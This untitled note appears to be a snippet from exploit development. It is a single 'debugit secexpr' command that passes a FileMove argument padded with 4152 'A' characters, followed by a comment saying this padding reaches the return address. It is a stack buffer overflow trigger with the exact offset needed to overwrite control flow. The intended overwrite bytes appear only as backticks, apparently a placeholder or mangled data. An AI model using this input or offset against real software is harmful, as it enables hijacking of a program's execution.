Untitled

debugit secexpr -e 'FileMove("source", StrRepeat("A", 4152) + "``````")'

4152 character padding and then we reach the return address